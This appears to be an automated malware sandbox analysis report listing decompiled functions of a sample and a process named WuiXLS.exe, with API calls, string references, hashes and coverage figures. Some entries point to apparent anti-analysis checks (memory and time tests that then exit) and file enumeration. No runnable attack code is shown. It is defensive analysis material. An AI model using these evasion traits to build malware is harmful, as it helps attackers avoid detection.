Part of subcall function 008A3257: lstrcpy.KERNEL32(5GA,00000000), ref: 008A329F

Part of subcall function 0089E647: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 0089E657
Part of subcall function 0089E647: RtlAllocateHeap.NTDLL(00000000), ref: 0089E65E

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrcpy
String ID:
API String ID: 710630278-0
Opcode ID: cd3d44ec05564e5d911b939c83a930d633635ebf2fce865a58714dce4bb94620
Instruction ID: 3fa2a142a22779c1541035b3a3a4c11ac396f058e87c52ebfbe01217578212d8
Opcode Fuzzy Hash: cd3d44ec05564e5d911b939c83a930d633635ebf2fce865a58714dce4bb94620
Instruction Fuzzy Hash: 9C3171B2900218ABDF15FBA4CC89EED7379FB69700F084589B349D6091EE7197C8CB91

Function 0040E5E0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 0040E63B
lstrcat.KERNEL32(?,00000000), ref: 0040E661
lstrcat.KERNEL32(?,?), ref: 0040E680
lstrcat.KERNEL32(?,?), ref: 0040E694
lstrcat.KERNEL32(?,00000000), ref: 0040E6A7
lstrcat.KERNEL32(?,?), ref: 0040E6BB
lstrcat.KERNEL32(?,00000000), ref: 0040E6CF

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Part of subcall function 0040E3E0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 0040E3F0
Part of subcall function 0040E3E0: RtlAllocateHeap.NTDLL(00000000), ref: 0040E3F7

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrcpy
String ID:
API String ID: 710630278-0
Opcode ID: 05efcce526faeb29057ae03a7f0838e895f82c593997a4498b9513fe27e23abf
Instruction ID: 62dfa2dff749b3e62b355dedf1c8d3531f46b6e9aa57b72c1fc6bf63700ee715
Opcode Fuzzy Hash: 05efcce526faeb29057ae03a7f0838e895f82c593997a4498b9513fe27e23abf
Instruction Fuzzy Hash: 1F3162B2A0020CABCB14FBA0DCC6EDD737DAB58744F44458EB71996095DEB497C8CB98

Function 008A07F7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008A08D7
RtlAllocateHeap.NTDLL(00000000), ref: 008A08DE

Part of subcall function 008A3257: lstrcpy.KERNEL32(5GA,00000000), ref: 008A329F

Strings

C, xrefs: 008A0820
\, xrefs: 008A0834
:, xrefs: 008A0830

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpy
String ID: :$C$\
API String ID: 3688308991-3809124531
Opcode ID: 25a8abe21516baa7b4b1769693489f63192825a774837cf75169adae2f8d7240
Instruction ID: d24a8953f1cc0361eb973a0d7286e8cba0198d715f7be334ab3d9fe7a84e404a
Opcode Fuzzy Hash: 25a8abe21516baa7b4b1769693489f63192825a774837cf75169adae2f8d7240
Instruction Fuzzy Hash: F93183B0D002489BEF10DBA4CC45FEE7B74FF49304F144099E649A7281DB74AA94CF95

Function 00410590 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410670
RtlAllocateHeap.NTDLL(00000000), ref: 00410677

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Strings

\, xrefs: 004105CD
:, xrefs: 004105C9
C, xrefs: 004105B9

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpy
String ID: :$C$\
API String ID: 3688308991-3809124531
Opcode ID: 25a8abe21516baa7b4b1769693489f63192825a774837cf75169adae2f8d7240
Instruction ID: 0fd743142e69857df810ca52e688dcb88c4bbbf11868c05daf949f8eeda1cfcd
Opcode Fuzzy Hash: 25a8abe21516baa7b4b1769693489f63192825a774837cf75169adae2f8d7240
Instruction Fuzzy Hash: 6431A6B1D00248AFDF10DBA4DC45BEE77B4AF48304F144099F6496B281DB78AAD4CF99

Function 00891427 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00891445
__aulldiv.LIBCMT ref: 0089145F
__aulldiv.LIBCMT ref: 0089146D
ExitProcess.KERNEL32 ref: 0089149B

Strings

@, xrefs: 0089143A

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 04869496aca4f93d1cafbfe058778225153f63141588f08022f0314a26537178
Instruction ID: dd0d69526b5d19ea35da374972e1e53dbf7bffda5d569665b55f775bb53431a0
Opcode Fuzzy Hash: 04869496aca4f93d1cafbfe058778225153f63141588f08022f0314a26537178
Instruction Fuzzy Hash: 49014BB0D44308BAEF10EBA0CC4AB9DBAB9FB15B05F288048F605B66C0CA749941C759

Function 004011C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011DE
__aulldiv.LIBCMT ref: 004011F8
__aulldiv.LIBCMT ref: 00401206
ExitProcess.KERNEL32 ref: 00401234

Strings

@, xrefs: 004011D3

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 04869496aca4f93d1cafbfe058778225153f63141588f08022f0314a26537178
Instruction ID: 63c74367094331cdf1fb6dbb9c514130bce0dad876db1382a3ea100d6d0a74fc
Opcode Fuzzy Hash: 04869496aca4f93d1cafbfe058778225153f63141588f08022f0314a26537178
Instruction Fuzzy Hash: BE01FFB0940208BADB10DBD0DC49B9EB678AB54705F24805EE605F71D1D6785545875D

Function 0089DFB7 Relevance: 7.6, APIs: 6, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4510935dae32e01c87bc0af17c3f7dd213755d20e0946cad16a3e658b4fae8c
Instruction ID: a25a0fdc19f9a63dd88459be6347ff72cc56fb63fe953cd54277964604b5bdb0
Opcode Fuzzy Hash: d4510935dae32e01c87bc0af17c3f7dd213755d20e0946cad16a3e658b4fae8c
Instruction Fuzzy Hash: BA5171B2900218AFCF24EBA4DC89EEE7379FB55700F088589B249D2080DB759B84CF91

Function 008A05C7 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 008A0613
sscanf.NTDLL ref: 008A0640
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008A0659
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008A0667
ExitProcess.KERNEL32 ref: 008A0681

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 462dc0eb1d88cde8c89c69557fbe249f80c6d6f5e505daf12c6dfc978de6a258
Instruction ID: 4f607afe54c60c026e7cbbc4141c929d074ea4d17515cbc6d6c5c637a8e52c8a
Opcode Fuzzy Hash: 462dc0eb1d88cde8c89c69557fbe249f80c6d6f5e505daf12c6dfc978de6a258
Instruction Fuzzy Hash: 2D21CBB1D14209AFDF04EFE8D845AEEB7B6FF48300F14952AE505E3250EB345608CB65

Function 00405800 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00405C7A), ref: 00405869

Strings

z\@, xrefs: 0040580D, 00405819, 0040582C, 00405835, 00405859, 00405882, 00405885, 0040593B, 0040594D, 00405959, 00405962, 004059DF, 00405995, 0040589A, 004058BD, 004058C9, 004058F1, 0040591D, 0040592F, 004058FD, 0040590A, 004058A6
z\@, xrefs: 00405974, 00405A02, 00405A07, 004059B1

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: z\@$z\@
API String ID: 1029625771-3761194745
Opcode ID: ac16fded49e8aa3cf758ec64221ea8c8376f71899510e2d01cd7ec4d2b406570
Instruction ID: 80f3d9ff0f38952ba028e7ba221b2ae57abe6f94e1e5ed22da0b4b24787abaa8
Opcode Fuzzy Hash: ac16fded49e8aa3cf758ec64221ea8c8376f71899510e2d01cd7ec4d2b406570
Instruction Fuzzy Hash: B071C974A00609DFDB04DF44C584BAAB7B2FF88354F248269E8096B391D735AA81CF95

Function 0040BCB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145stringCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0040BCE1
strtok_s.MSVCRT ref: 0040BCF8

Strings

block, xrefs: 0040BCC7

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 2506647f052ed3a4df0d6a83b175f1bdcd1895952038a32fe540106415373500
Instruction ID: 1016d52d12fe1e50a1f30153379403fab5e6bc016d8da4aea0e238377b65fe71
Opcode Fuzzy Hash: 2506647f052ed3a4df0d6a83b175f1bdcd1895952038a32fe540106415373500
Instruction Fuzzy Hash: 70515E75A40209EFCB00DFA1D988BEE77B5EF54709F20806AE905B72C1D7789A41CB9D

Function 0040EC70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,0040EDEC,?,00000400), ref: 0040EC7D
RtlAllocateHeap.NTDLL(00000000), ref: 0040EC84

Strings

@, xrefs: 0040EC9F, 0040ECC8, 0040ECA2, 0040ECCB
@, xrefs: 0040EC96

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID: @$@
API String ID: 1357844191-2930932199
Opcode ID: 8789f0c22dbd4747596554955394aa19ac2db0340ff02eeac11c5d8a598097f8
Instruction ID: 0ad45b8a8120eac36b962287976033906f8581aa65983cfc467600e46e4bb566
Opcode Fuzzy Hash: 8789f0c22dbd4747596554955394aa19ac2db0340ff02eeac11c5d8a598097f8
Instruction Fuzzy Hash: 3B014075A40208BFEB10DBA8CC45FEE7779EB44704F208156FB05BB2C0DAB1AA009B59

Function 0089E9C7 Relevance: 6.4, APIs: 5, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 230ad20d9c83ca3b5eb331709680e1b624b2a9e64bc94dcdd16c4e7c20db88c2
Instruction ID: f5a1d19e87df58fe1b9490229d5de92fa471ca0443cbf811a3713ce9f342a5e3
Opcode Fuzzy Hash: 230ad20d9c83ca3b5eb331709680e1b624b2a9e64bc94dcdd16c4e7c20db88c2
Instruction Fuzzy Hash: D5613471900218AFCF14EBE4DC89EEA7779FB98701F088599B60993090EF749B84CF95

Function 0089DA87 Relevance: 6.2, APIs: 4, Instructions: 237stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,?), ref: 0089DB09

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat
String ID:
API String ID: 4038537762-0
Opcode ID: 45708fa9c051ce47051c56d8040ab57a7d21419f2f94184faeaa64b5423afe5c
Instruction ID: 65f961292ec7e2ec99a0647b9b1c4bb8ffb3005fdda93f7a89be9d24e6ff651b
Opcode Fuzzy Hash: 45708fa9c051ce47051c56d8040ab57a7d21419f2f94184faeaa64b5423afe5c
Instruction Fuzzy Hash: BE914DB29003189FDF24EBA4DC89EEE7379FB94700F088589B519D3191DB749A84CFA5

Function 00410EB0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 179COMMON

Download Yara Rule

Strings

%s\%s, xrefs: 00410FBA
- , xrefs: 00411110
?, xrefs: 00410EE7

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: - $%s\%s$?
API String ID: 3722407311-3278919252
Opcode ID: 720d16db40e135c7f75593100d42ea90143e969699d313e809dc33ce6561c3aa
Instruction ID: 89dad39f6cc2188168badbc2d9d52fc6bc985f341d4410da9706d1249eaf062f
Opcode Fuzzy Hash: 720d16db40e135c7f75593100d42ea90143e969699d313e809dc33ce6561c3aa
Instruction Fuzzy Hash: FB71F976900118ABDB64DF50CD95FEAB7B9BF48304F0086DAA209A6190DF746FC9CF94

Function 00406500 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0040651B
memset.MSVCRT ref: 0040654E

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Part of subcall function 004130D0: lstrlen.KERNEL32(00000000,?,?,0040F9D0,00414677,00414676,?,?,00410567,00000000,?,008859C8,?,00414834,?,00000000), ref: 004130DB
Part of subcall function 004130D0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413135

Part of subcall function 00413050: lstrcpy.KERNEL32(?,00000000), ref: 00413096

Strings

@, xrefs: 00406557
v10, xrefs: 00406512

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlenmemcmpmemset
String ID: @$v10
API String ID: 1724756220-24753345
Opcode ID: 83eeb4b2afe74f17c85e7e2497b1b45e9e85ec7fad344035b0f7ebb7c51853e2
Instruction ID: e76eb520232f09c5838e303a6ffe8b8de85312eac25019e952f6e82f664b20c3
Opcode Fuzzy Hash: 83eeb4b2afe74f17c85e7e2497b1b45e9e85ec7fad344035b0f7ebb7c51853e2
Instruction Fuzzy Hash: 84413F71900208EFDB04DFA9CD95FDE7BB5BF44304F108119F906AB294DB78AA55CB98

Function 008A07AB Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00618488,?,00414834,?,00000000,?,00414838,?,00000000,00414682), ref: 008A0782
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 008A07A0
CloseHandle.KERNEL32(00000000), ref: 008A07B1
Sleep.KERNEL32(00001770), ref: 008A07BC
CloseHandle.KERNEL32(?,00000000,?,00618488,?,00414834,?,00000000,?,00414838,?,00000000,00414682), ref: 008A07D2
ExitProcess.KERNEL32 ref: 008A07DA

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e403f8ffbb91593beead32c91cec5554c3c6bf1e1477261f753fe489317f82a5
Instruction ID: 80a8b09a4d02ba7a657e847b6ce31a3110b92088265e77911c7856aa15caa423
Opcode Fuzzy Hash: e403f8ffbb91593beead32c91cec5554c3c6bf1e1477261f753fe489317f82a5
Instruction Fuzzy Hash: 25F05E30900219AFF700ABA4DC46FBE33B4FF05B05F285415B612E28C1DBB56600CE52

Function 004115D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

GetSystemTime.KERNEL32(?,00000000,00414191,?,?,?,?,?,?,?,?,?,00403A73,?,00000014), ref: 004115F6

Strings

s:@, xrefs: 00411621, 00411651, 00411654
s:@, xrefs: 004115DC, 00411655, 00411660, 00411674, 00411643, 00411663

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: s:@$s:@
API String ID: 62757014-2540443843
Opcode ID: 044bcc5253d9ed8355e8cc8fc245de3cc8e6ad25679a3886579f132f54362194
Instruction ID: 4fed1264785079df95f75e73a263aab63966ce5e4119c4fc5e1ac5e9256f35cb
Opcode Fuzzy Hash: 044bcc5253d9ed8355e8cc8fc245de3cc8e6ad25679a3886579f132f54362194
Instruction Fuzzy Hash: A611D672D00008AFCB04EFA9C8929EEBBB5EF58304F04C05EE41267155EF346A85CBA9

Function 0089EED7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0089EEE4
RtlAllocateHeap.NTDLL(00000000), ref: 0089EEEB

Strings

/EA, xrefs: 0089EF52

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID: /EA
API String ID: 1357844191-1082462857
Opcode ID: 8789f0c22dbd4747596554955394aa19ac2db0340ff02eeac11c5d8a598097f8
Instruction ID: 45901ec1f685e1bef81e82401a6cc483ea1d5f50eb68f03a08de2c1a9cbb906d
Opcode Fuzzy Hash: 8789f0c22dbd4747596554955394aa19ac2db0340ff02eeac11c5d8a598097f8
Instruction Fuzzy Hash: 9101ED75A40208BFDB10DBA4DC45FAD7B79EB44704F24815AF709AB2C4DAB1AA009B95

Function 004112A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004112EC
RtlAllocateHeap.NTDLL(00000000), ref: 004112F3

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

Strings

%dx%d, xrefs: 00411304

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpy
String ID: %dx%d
API String ID: 3688308991-2206825331
Opcode ID: 9528033989b3831d53b234d39f9700782877631107d750be855e91c67b059de5
Instruction ID: 053404a165637cf86093b191cbbf08ad206c4db23522c9d29381cfac6920a88f
Opcode Fuzzy Hash: 9528033989b3831d53b234d39f9700782877631107d750be855e91c67b059de5
Instruction Fuzzy Hash: 7111EDB5A40209AFDB00DFE4DC49FAE7B79FB48701F14954AFA05A7290DA7099008B95

Function 004117C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00411F8E,00000000), ref: 004117CB
RtlAllocateHeap.NTDLL(00000000), ref: 004117D2

Strings

%hs, xrefs: 004117DF

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID: %hs
API String ID: 1357844191-2783943728
Opcode ID: 4d3c50648f06924e1988e1d7b9757bed8c573b7677992a8183437c42b4709702
Instruction ID: a4397fe6ced821d0dbd060ebb6f9329bd339c59d16e34419fedbf7be6031988b
Opcode Fuzzy Hash: 4d3c50648f06924e1988e1d7b9757bed8c573b7677992a8183437c42b4709702
Instruction Fuzzy Hash: 17E08C74A40208BFCB00CBD4DD4AEAD7BACEB44301F144095F90987280DEB19E009BA5

Function 0089EDD7 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 0089EE11
lstrcat.KERNEL32(?,00414818), ref: 0089EE2E
lstrcat.KERNEL32(?,0061852C), ref: 0089EE42
lstrcat.KERNEL32(?,0041481C), ref: 0089EE54

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat
String ID:
API String ID: 4038537762-0
Opcode ID: 17f3b2e12a8e052ac4a5b08d4ce3d33ccb97d8600d17890a450db1d34e2e4e70
Instruction ID: 1e457c323344c1b0d552e4767d8daf4b04f7f560a16d7ca582366b2ff8db6e56
Opcode Fuzzy Hash: 17f3b2e12a8e052ac4a5b08d4ce3d33ccb97d8600d17890a450db1d34e2e4e70
Instruction Fuzzy Hash: 55219576904208AFDB14FBB4DC86DE9377AEBA4700F048546B649D3581EE749AC48B92

Function 0040EB70 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 0040EBAA
lstrcat.KERNEL32(?,00414818), ref: 0040EBC7
lstrcat.KERNEL32(?,00000000), ref: 0040EBDB
lstrcat.KERNEL32(?,0041481C), ref: 0040EBED

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: lstrcat
String ID:
API String ID: 4038537762-0
Opcode ID: fa6d5197ec8c1ffe68bde41e0d487440f9f90d648d6eb64e1d3ea5ac28aea448
Instruction ID: 87290655d41cbd68318cc685ddaeb870d4aec506c0115cc15e8e73b125a14c28
Opcode Fuzzy Hash: fa6d5197ec8c1ffe68bde41e0d487440f9f90d648d6eb64e1d3ea5ac28aea448
Instruction Fuzzy Hash: 4C21D77AA00208AFC714FBB0DC82ED9737EDB58704F04854BF64953091DE789AC48B95

Analysis Process: WuiXLS.exePID: 7496, Parent PID: 7472COMMON

Execution Graph

Execution Coverage:	31.1%
Dynamic/Decrypted Code Coverage:	10.5%
Signature Coverage:	18.9%
Total number of Nodes:	296
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 007029E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00702A02
wsprintfA.USER32 ref: 00702A1A
memset.MSVCRT ref: 00702A44
lstrlen.KERNEL32(?), ref: 00702A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 00702A6C
strrchr.MSVCRT ref: 00702A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00702A9F
lstrlen.KERNEL32(Documents and Settings), ref: 00702AAE
memset.MSVCRT ref: 00702AC6
memset.MSVCRT ref: 00702ADA
FindFirstFileA.KERNELBASE(?,?), ref: 00702AEF
memset.MSVCRT ref: 00702B13
lstrcmpiA.KERNEL32(?,?), ref: 00702B42
FindNextFileA.KERNELBASE(00000000,?,?,?,?), ref: 00702B67
FindClose.KERNELBASE(00000000), ref: 00702B6E

Strings

%s*, xrefs: 00702A14
Documents and Settings, xrefs: 00702A8D, 00702A92, 00702A9A, 00702AAD
C:\, xrefs: 00702A2F

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
